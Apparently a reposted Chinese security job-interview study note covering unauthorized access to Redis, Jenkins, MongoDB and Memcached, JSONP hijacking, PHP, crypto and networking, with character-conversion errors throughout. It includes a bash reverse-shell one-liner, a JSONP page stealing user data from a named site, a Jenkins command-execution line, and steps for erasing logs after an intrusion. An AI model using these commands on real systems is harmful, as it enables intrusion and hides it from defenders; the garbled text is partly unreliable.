Redis 默认状况下,会绑定在 0.0.0.0:6379,这样将会将 Redis 服务暴露到公网上,若是在没有开启认证的状况下,能够致使任意用户在能够访问目标服务器的状况下未受权访问 Redis 以及读取 Redis 的数据。攻击者在未受权访问 Redis 的状况下能够利用 Redis 的相关方法,能够成功在 Redis 服务器上写入公钥,进而可使用对应私钥直接登陆目标服务器

利用条件和方法

条件:

a、redis服务以root帐户运行 b、redis无密码或弱密码进行认证 c、redis监听在0.0.0.0公网上

方法:

a、经过 Redis 的 INFO 命令, 能够查看服务器相关的参数和敏感信息, 为攻击者的后续渗透作铺垫 b、上传SSH公钥得到SSH登陆权限 c、经过crontab反弹shell d、slave主从模式利用

修复

密码验证 降权运行 限制ip/修改端口

Jenkins未受权访问

攻击者经过未受权访问进入脚本命令执行界面执行攻击指令

println "ifconfig -a".execute().text 执行一些系统命令,利用wget下载webshell

MongoDB未受权访问

开启MongoDB服务时不添加任何参数时,默认是没有权限验证的,并且能够远程访问数据库,登陆的用户能够经过默认端口无需密码对数据库进行增、删、改、查等任意高危操做。

防御

一、为MongoDB添加认证:1)MongoDB启动时添加–auth参数 2)给MongoDB添加用户:use admin #使用admin库 db.addUser(“root”, “123456”) #添加用户名root密码123456的用户 db.auth(“root”,“123456”) #验证下是否添加成功,返回1说明成功 二、禁用HTTP和REST端口 MongoDB自身带有一个HTTP服务和并支持REST接口。在2.6之后这些接口默认是关闭的。mongoDB默认会使用默认端口监听web服务,通常不须要经过web方式进行远程管理,建议禁用。修改配置文件或在启动的时候选择–nohttpinterface 参数nohttpinterface=false 三、限制绑定IP 启动时加入参数 –bind_ip 127.0.0.1 或在/etc/mongodb.conf文件中添加如下内容:bind_ip = 127.0.0.1

Memcache未受权访问

Memcached是一套经常使用的key-value缓存系统,因为它自己没有权限控制模块,因此对公网开放的Memcache服务很容易被攻击者扫描发现,攻击者经过命令交互可直接读取Memcached中的敏感信息。

利用

一、登陆机器执行netstat -an |more命令查看端口监听状况。回显0.0.0.0:11211表示在全部网卡进行监听,存在memcached未受权访问漏洞。

二、telnet 11211,或nc -vv 11211,提示链接成功表示漏洞存在

漏洞加固

a、设置memchached只容许本地访问 b、禁止外网访问Memcached 11211端口 c、编译时加上–enable-sasl,启用SASL认证

FFMPEG 本地文件读取漏洞

原理

经过调用加密API将payload加密放入一个会被执行的段字节中。可是具体回答工程中我只回答道了SSRF老洞,m3u8头,偏移量,加密。

安全知识

WEB

经常使用WEB开发JAVA框架

STRUTS,SPRING 常见的java框架漏洞 其实面试官问这个问题的时候我不太清楚他要问什么,我提到struts的045 048,java常见反序列化。045 错误处理引入了ognl表达式 048 封装action的过程当中有一步调用getstackvalue递归获取ognl表达式 反序列化 操做对象,经过手段引入。apache common的反射机制、readobject的重写,其实具体的我也记不清楚。。。而后这部分就结束了

同源策略

同源策略限制不一样源对当前document的属性内容进行读取或设置。不一样源的区分:协议、域名、子域名、IP、端口,以上有不一样时即不一样源。

Jsonp安全攻防技术,怎么写Jsonp的攻击页面?

涉及到Jsonp的安全攻防内容

JSON劫持、Callback可定义、JSONP内容可定义、Content-type不为json。

攻击页面

JSON劫持,跨域劫持敏感信息,页面相似于

function wooyun(v){
alert(v.username);
}
</script>
<script src="http://js.login.360.cn/?o=sso&m=info&func=wooyun"></script>

Content-type不正确状况下,JSONP和Callback内容可定义可形成XSS。JSONP和FLASH及其余的利用参照知道创宇的JSONP安全攻防技术。

PHP

php中命令执行涉及到的函数

1,代码执行:eval()、assert()、popen()、system()、exec()、shell_exec()、passthru(),pcntl_exec(),call_user_func_array(),create_function() 2,文件读取:file_get_contents(),highlight_file(),fopen(),read file(),fread(),fgetss(), fgets(),parse_ini_file(),show_source(),file()等 3,命令执行:system(), exec(), shell_exec(), passthru() ,pcntl_exec(), popen(),proc_open()

安全模式下绕过php的disable fuction

DL函数,组件漏洞,环境变量。

PHP弱类型

== 在进行比较的时候,会先将字符串类型转化成相同,再比较

若是比较一个数字和字符串或者比较涉及到数字内容的字符串,则字符串会被转换成数值而且比较按照数值来进行

0e开头的字符串等于0

数据库

各类数据库文件存放的位置

mysql:

/usr/local/mysql/data/

C:\ProgramData\MySQL\MySQL Server 5.6\Data\

oracle:$ORACLE_BASE/oradata/$ORACLE_SID/

系统

如何清理日志

meterpreter: clearev

入侵 Linux 服务器后须要清除哪些日志?

web日志,如apache的access.log,error.log。直接将日志清除过于明显,通常使用sed进行定向清除

e.g. sed -i -e ‘/192.169.1.1/d’

history命令的清除,也是对~/.bash_history进行定向清除

wtmp日志的清除,/var/log/wtmp

登陆日志清除 /var/log/secure

LINUX

查看当前端口链接的命令有哪些?netstatss 命令的区别和优缺点

netstat -antp` `ss -l

ss的优点在于它可以显示更多更详细的有关TCP和链接状态的信息,并且比netstat更快速更高效。

反弹 shell 的经常使用命令?通常常反弹哪种 shell?为何?

bash -i>&/dev/tcp/x.x.x.x/4444 0>&1

经过Linux系统的/proc目录 ,可以获取到哪些信息,这些信息能够在安全上有哪些应用?

ls /proc

系统信息,硬件信息,内核版本,加载的模块,进程

linux系统中,检测哪些配置文件的配置项,可以提高SSH的安全性。

/etc/ssh/sshd___configiptables配置

如何一条命令查看文件内容最后一百行

tail -n 100 filename

Windows

如何加固一个域环境下的Windows桌面工做环境?请给出你的思路。

密码学

AES/DES的具体工做步骤

RSA算法

加密:

密文=明文^EmodN

RSA加密是对明文的E次方后除以N后求余数的过程

公钥=(E,N)

解密:

明文=密文^DmodN私钥=(D,N)

三个参数n,e1,e2

n是两个大质数p,q的积

分组密码的加密模式

如何生成一个安全的随机数?

引用以前一个学长的答案,能够经过一些物理系统生成随机数,如电压的波动、磁盘磁头读/写时的寻道时间、空中电磁波的噪声等。

SSL握手过程

创建TCP链接、客户端发送SSL请求、服务端处理SSL请求、客户端发送公共密钥加密过的随机数据、服务端用私有密钥解密加密后的随机数据并协商暗号、服务端跟客户端利用暗号生成加密算法跟密钥key、以后正常通讯。这部分原本是忘了的,可是以前看SSL Pinning的时候好像记了张图在脑子里,挣扎半天仍是没敢肯定,遂放弃。。。

对称加密与非对称加密的不一样,分别用在哪些方面

TCP/IP

TCP三次握手的过程以及对应的状态转换

(1)客户端向服务器端发送一个SYN包,包含客户端使用的端口号和初始序列号x; (2)服务器端收到客户端发送来的SYN包后,向客户端发送一个SYN和ACK都置位的TCP报文,包含确认号xx1和服务器端的初始序列号y; (3)客户端收到服务器端返回的SYNSACK报文后,向服务器端返回一个确认号为yy一、序号为xx1的ACK报文,一个标准的TCP链接完成。

TCP和UDP协议区别

tcp面向链接,udp面向报文 tcp对系统资源的要求多 udp结构简单 tcp保证数据完整性和顺序,udp不保证

https的创建过程

a、客户端发送请求到服务器端 b、服务器端返回证书和公开密钥,公开密钥做为证书的一部分而存在 c、客户端验证证书和公开密钥的有效性,若是有效,则生成共享密钥并使用公开密钥加密发送到服务器端 d、服务器端使用私有密钥解密数据,并使用收到的共享密钥加密数据,发送到客户端 e、客户端使用共享密钥解密数据 f、SSL加密创建

流量分析

wireshark简单的过滤规则

过滤ip:

过滤源ip地址:ip.src==1.1.1.1;,目的ip地址:ip.dst==1.1.1.1;

过滤端口:

过滤80端口:tcp.port==80,源端口:tcp.srcport==80,目的端口:tcp.dstport==80

协议过滤:

直接输入协议名便可,如http协议http

http模式过滤:

过滤get/post包http.request.mothod=="GET/POST"

给原做者一个赞哦。

相关文章
相关标签/搜索